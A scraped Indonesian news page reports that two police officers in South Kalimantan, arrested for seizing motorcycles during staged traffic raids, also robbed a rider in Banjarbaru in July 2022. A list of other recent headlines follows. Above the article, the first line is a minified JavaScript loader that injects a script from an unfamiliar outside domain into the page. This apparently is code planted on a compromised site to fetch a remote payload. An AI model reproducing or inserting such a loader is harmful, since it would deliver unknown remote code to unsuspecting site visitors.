(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dua Polisi Perampas Motor Modus Razia Pernah Beraksi di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Heboh dua anggota Kepolisan Republik Indonesia (Polri) ditangkap Polresta Banjarmasin, otak perampasan sepeda motor dengan modus razia kendaraan, ternyata pernah beraksi di wilayah Kota Banjarbaru.

PS (41) alias Charles dan DEM (26) keduanya tercatata sebagai anggota Polri di Polresta Banjarmasin berhasil diamankan beberapa waktu lalu.

Terungkap, kedua polisi ini pernah melakukan tindak kejahatan di wilayah hukum Polsek Liang Anggang tepatnya di Jalan Angkasa dekat gapura nanas Kelurahan Syamsudin Noor, Kecamatan Landasan Ulin Kota Banjarbaru, dengan modus yang sama.

Kapolsek Liang Anggang, AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aipda Kardi Gunadi membeberkan, kejadian perampasan tersebut terjadi pada Sabtu (16/7/2022) sekira pukul 22.00 Wita, dalam menjalankan aksinya, keduanya menghentikan korban bersama kendaraannya di tengah jalan.

 

 

Baca juga: Kenali Gejala Monkeypox, Dinkes Banjarbaru: Alami Gejala, Segera ke Fasyankes!

“Kedua pelaku berpura-pura merazia dan mengambil unit motor,” ujar Kasi Humas Polsek Liang Anggang, Kamis (25/8/2022) siang.

Dilanjutkannya, saat itu kedua anggota polisi menghentikan korban dan menanyakan “Mana helm kamu”, sembari mengambil kunci dan kemudian membawa sepeda motor korban. Sementara korban dibawa ke Indomaret dan setelahnya disuruh mengambil kendaraan di Mapolres Banjarbaru.

Sepeda motor yang dirampas kedua pelaku adalah Suzuki Satria FU 150 dengan Nopol DA 4281 AS.

Belakangan ada kabar penangkapan terhadap dua orang oknum Polisi yang viral ditangkap, kemudian korban melakukan pengecekan ke Polresta Banjarmasin.

“Setelah ditanya, kendaraan pelapor sudah berpindah tangan,” sambung Aipda Kardi Gunadi.

“Saat dilakukan introgasi terhadap kedua pelaku, ternyata sepeda motor milik korban digadaikan pelaku kepada seseorang di Banjarmasin sebesar Rp 2 juta,” tambahnya.

Baca juga: Kobaran Api Membakar Rumah di Tambak Anyar Martapura

Atas kejadian tersebut korban mengalami kerugian sebesar Rp 6 juta dan melaporkan ke Polsek Liang Anggang.

Sementara kedua orang pelaku diamaknakn di Polresta Banjarmasin dan dikenakan Pasal 363 KUHP, Pasal 368 KUHP, Pasal 372 KUHP dan atau Pasal 378 KUHP. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

38 menit ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

2 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

5 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

8 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

8 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

22 jam ago

This website uses cookies.